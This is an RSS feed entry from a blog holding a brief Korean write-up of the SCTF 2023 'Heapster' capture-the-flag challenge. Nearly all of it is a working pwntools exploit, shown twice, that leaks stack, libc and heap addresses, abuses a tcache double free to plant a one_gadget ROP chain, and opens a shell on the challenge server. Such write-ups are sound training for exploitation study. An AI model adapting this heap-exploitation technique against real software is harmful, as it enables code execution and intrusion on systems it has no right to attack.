<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>SCTF on Uniguri&#39;s Blog</title>
    <link>/tags/sctf/</link>
    <description>Recent content in SCTF on Uniguri&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Wed, 23 Aug 2023 10:28:45 +0000</lastBuildDate><atom:link href="/tags/sctf/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>SCTF 2023 - Heapster</title>
      <link>/posts/ctf/2023/samsungctf/heapster/</link>
      <pubDate>Wed, 23 Aug 2023 10:28:45 +0000</pubDate>
      
      <guid>/posts/ctf/2023/samsungctf/heapster/</guid>
      <description>&lt;h2 id=&#34;취약점&#34;&gt;취약점&lt;/h2&gt;
&lt;p&gt;Validation 함수을 이용해서 Stack의 값을 알아낼 수 있고 PIE, LIBC_BASE, Stack의 주소를 알아낼 수 있다.
또한 Heap에 data 영역을 사용해서 Heap의 주소도 알아낼 수 있다.&lt;/p&gt;
&lt;h2 id=&#34;익스플로잇&#34;&gt;익스플로잇&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;1&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;1&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;python&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;Exploit&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-python&#34; &gt;&lt;code&gt;
from pwn import *
import struct

# context.log_level = &amp;#39;debug&amp;#39;

libc_one_gadget = 0xebcf8
libc_pop_rsi = 0x000000000002be51

def conceal_next(pos, ptr):
    return (pos&amp;gt;&amp;gt;12) ^ ptr
def reveal_next(x):
    tmp = x ^ ( (x&amp;gt;&amp;gt;12)&amp;amp;0xfff000000 )
    tmp = x ^ ( (tmp&amp;gt;&amp;gt;12)&amp;amp;0xffffff000 )
    tmp = x ^ ( (tmp&amp;gt;&amp;gt;12) )
    return tmp

def add(index, data):
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;1&amp;#39;)
    p.sendline(str(index).encode())
    p.send(data)
def delete(index):
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;2&amp;#39;)
    p.sendline(str(index).encode())
def print_node():
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;3&amp;#39;)
def validation():
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;4&amp;#39;)

def leak_stack(index):
    add(index, b&amp;#39;a&amp;#39;*8)
    stack_addr = b&amp;#39;&amp;#39;
    for _ in range(8):
        for i in range(0x01, 0xff&amp;#43;1):
            add(index, stack_addr &amp;#43; struct.pack(&amp;#34;B&amp;#34;, i) &amp;#43; b&amp;#39;\n&amp;#39;)
            validation()
            result = p.recvuntil(b&amp;#39;.\n&amp;#39;)
            if(b&amp;#39;success&amp;#39; in result):
                stack_addr &amp;#43;= struct.pack(&amp;#34;B&amp;#34;, i)
                break
            elif(b&amp;#39;fail&amp;#39; in result):
                continue
            else:
                print(&amp;#34;ERROR&amp;#34;)
                assert(0)
    add(index, b&amp;#39;\x00&amp;#39;)
    return u64(stack_addr.ljust(8, b&amp;#39;\x00&amp;#39;))


######### Open Process and etc. #########
# p = process(&amp;#39;./chal&amp;#39;)
p = remote(&amp;#39;heapster.sstf.site&amp;#39;, 31339)
elf = ELF(&amp;#39;./chal&amp;#39;)
libc = ELF(&amp;#39;./libc.so.6&amp;#39;)

######### Leak Informations #########
### Leak Stack ###
stack_addr = leak_stack(10) &amp;#43; 8
log.info(&amp;#34;STACK : &amp;#34; &amp;#43; hex(stack_addr))
### Leak PIE base ###
# I don&amp;#39;t use PIE base address, but I just leak it.
pie_addr = leak_stack(11) - 0x1792
log.info(&amp;#34;PIE : &amp;#34; &amp;#43; hex(pie_addr))
### Leak Libc base ###
libc_base = leak_stack(21) - 0x29d90 # __libc_start_call_main&amp;#43;128
log.info(&amp;#34;LIBC : &amp;#34; &amp;#43; hex(libc_base))
### Leak Heap ###
# reuse heap used for leak ret and pie.
delete(10)
# now, tcache : 10 || count = 1
delete(11)
# now, tcache : 11 -&amp;gt; 10 || count = 2
print_node()
p.recvuntil(b&amp;#39;-&amp;gt;&amp;#39;)
heap_addr = reveal_next(u64(p.recvuntil(b&amp;#39;\n&amp;#39;)[:-1].ljust(8, b&amp;#39;\x00&amp;#39;)))
log.info(&amp;#34;HEAP : &amp;#34; &amp;#43; hex(heap_addr))

######### ROP using Double Free #########
### set pop rdi ###
# tcache : 11 -&amp;gt; 10 || count = 2
add(11, b&amp;#39;a&amp;#39;*16)
delete(11)
# now, tcache : 11 -&amp;gt; 11 ; 10 || count = 3
add(3, p64(conceal_next(heap_addr &amp;#43; 0x20, stack_addr - 0x8)))
# now, tcache : 11 -&amp;gt; (sfp of main) ; 11 || count = 2
add(31, b&amp;#39;a&amp;#39;*16)
# now, tcache : (sfp of main) ; 10 || count = 1
pl = p64(stack_addr &amp;#43; 0x20)
pl &amp;#43;= p64(libc_base &amp;#43; libc_pop_rsi)
add(30, pl)
# now, tcache : (null) ; 10 || count = 0
for _ in range(3):
    add(11, b&amp;#39;a&amp;#39;*16)
    delete(11)
# now, tcache : 11 -&amp;gt; 11 -&amp;gt; 11 ; 10 || count = 3
add(3, p64(conceal_next(heap_addr &amp;#43; 0x20, stack_addr &amp;#43; 0x10 - 0x8)))
# now, tcache : 11 -&amp;gt; (ret&amp;#43;8 of main) ; 10 || count = 2
add(29, b&amp;#39;a&amp;#39;*16)
# now, tcache : (ret&amp;#43;8 of main) ; 10 || count = 1
pl = p64(0)
pl &amp;#43;= p64(libc_base &amp;#43; libc_one_gadget)
add(28, pl)

######### Exit main and get shell #########
p.sendline(b&amp;#39;5&amp;#39;)

p.interactive()

&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;</description>
      <content>&lt;h2 id=&#34;취약점&#34;&gt;취약점&lt;/h2&gt;
&lt;p&gt;Validation 함수을 이용해서 Stack의 값을 알아낼 수 있고 PIE, LIBC_BASE, Stack의 주소를 알아낼 수 있다.
또한 Heap에 data 영역을 사용해서 Heap의 주소도 알아낼 수 있다.&lt;/p&gt;
&lt;h2 id=&#34;익스플로잇&#34;&gt;익스플로잇&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;1&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;1&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;python&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;Exploit&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-python&#34; &gt;&lt;code&gt;
from pwn import *
import struct

# context.log_level = &amp;#39;debug&amp;#39;

libc_one_gadget = 0xebcf8
libc_pop_rsi = 0x000000000002be51

def conceal_next(pos, ptr):
    return (pos&amp;gt;&amp;gt;12) ^ ptr
def reveal_next(x):
    tmp = x ^ ( (x&amp;gt;&amp;gt;12)&amp;amp;0xfff000000 )
    tmp = x ^ ( (tmp&amp;gt;&amp;gt;12)&amp;amp;0xffffff000 )
    tmp = x ^ ( (tmp&amp;gt;&amp;gt;12) )
    return tmp

def add(index, data):
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;1&amp;#39;)
    p.sendline(str(index).encode())
    p.send(data)
def delete(index):
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;2&amp;#39;)
    p.sendline(str(index).encode())
def print_node():
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;3&amp;#39;)
def validation():
    p.recvuntil(b&amp;#39;cmd: &amp;#39;)
    p.sendline(b&amp;#39;4&amp;#39;)

def leak_stack(index):
    add(index, b&amp;#39;a&amp;#39;*8)
    stack_addr = b&amp;#39;&amp;#39;
    for _ in range(8):
        for i in range(0x01, 0xff&amp;#43;1):
            add(index, stack_addr &amp;#43; struct.pack(&amp;#34;B&amp;#34;, i) &amp;#43; b&amp;#39;\n&amp;#39;)
            validation()
            result = p.recvuntil(b&amp;#39;.\n&amp;#39;)
            if(b&amp;#39;success&amp;#39; in result):
                stack_addr &amp;#43;= struct.pack(&amp;#34;B&amp;#34;, i)
                break
            elif(b&amp;#39;fail&amp;#39; in result):
                continue
            else:
                print(&amp;#34;ERROR&amp;#34;)
                assert(0)
    add(index, b&amp;#39;\x00&amp;#39;)
    return u64(stack_addr.ljust(8, b&amp;#39;\x00&amp;#39;))


######### Open Process and etc. #########
# p = process(&amp;#39;./chal&amp;#39;)
p = remote(&amp;#39;heapster.sstf.site&amp;#39;, 31339)
elf = ELF(&amp;#39;./chal&amp;#39;)
libc = ELF(&amp;#39;./libc.so.6&amp;#39;)

######### Leak Informations #########
### Leak Stack ###
stack_addr = leak_stack(10) &amp;#43; 8
log.info(&amp;#34;STACK : &amp;#34; &amp;#43; hex(stack_addr))
### Leak PIE base ###
# I don&amp;#39;t use PIE base address, but I just leak it.
pie_addr = leak_stack(11) - 0x1792
log.info(&amp;#34;PIE : &amp;#34; &amp;#43; hex(pie_addr))
### Leak Libc base ###
libc_base = leak_stack(21) - 0x29d90 # __libc_start_call_main&amp;#43;128
log.info(&amp;#34;LIBC : &amp;#34; &amp;#43; hex(libc_base))
### Leak Heap ###
# reuse heap used for leak ret and pie.
delete(10)
# now, tcache : 10 || count = 1
delete(11)
# now, tcache : 11 -&amp;gt; 10 || count = 2
print_node()
p.recvuntil(b&amp;#39;-&amp;gt;&amp;#39;)
heap_addr = reveal_next(u64(p.recvuntil(b&amp;#39;\n&amp;#39;)[:-1].ljust(8, b&amp;#39;\x00&amp;#39;)))
log.info(&amp;#34;HEAP : &amp;#34; &amp;#43; hex(heap_addr))

######### ROP using Double Free #########
### set pop rdi ###
# tcache : 11 -&amp;gt; 10 || count = 2
add(11, b&amp;#39;a&amp;#39;*16)
delete(11)
# now, tcache : 11 -&amp;gt; 11 ; 10 || count = 3
add(3, p64(conceal_next(heap_addr &amp;#43; 0x20, stack_addr - 0x8)))
# now, tcache : 11 -&amp;gt; (sfp of main) ; 11 || count = 2
add(31, b&amp;#39;a&amp;#39;*16)
# now, tcache : (sfp of main) ; 10 || count = 1
pl = p64(stack_addr &amp;#43; 0x20)
pl &amp;#43;= p64(libc_base &amp;#43; libc_pop_rsi)
add(30, pl)
# now, tcache : (null) ; 10 || count = 0
for _ in range(3):
    add(11, b&amp;#39;a&amp;#39;*16)
    delete(11)
# now, tcache : 11 -&amp;gt; 11 -&amp;gt; 11 ; 10 || count = 3
add(3, p64(conceal_next(heap_addr &amp;#43; 0x20, stack_addr &amp;#43; 0x10 - 0x8)))
# now, tcache : 11 -&amp;gt; (ret&amp;#43;8 of main) ; 10 || count = 2
add(29, b&amp;#39;a&amp;#39;*16)
# now, tcache : (ret&amp;#43;8 of main) ; 10 || count = 1
pl = p64(0)
pl &amp;#43;= p64(libc_base &amp;#43; libc_one_gadget)
add(28, pl)

######### Exit main and get shell #########
p.sendline(b&amp;#39;5&amp;#39;)

p.interactive()

&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;


</content>
    </item>
    
  </channel>
</rss>
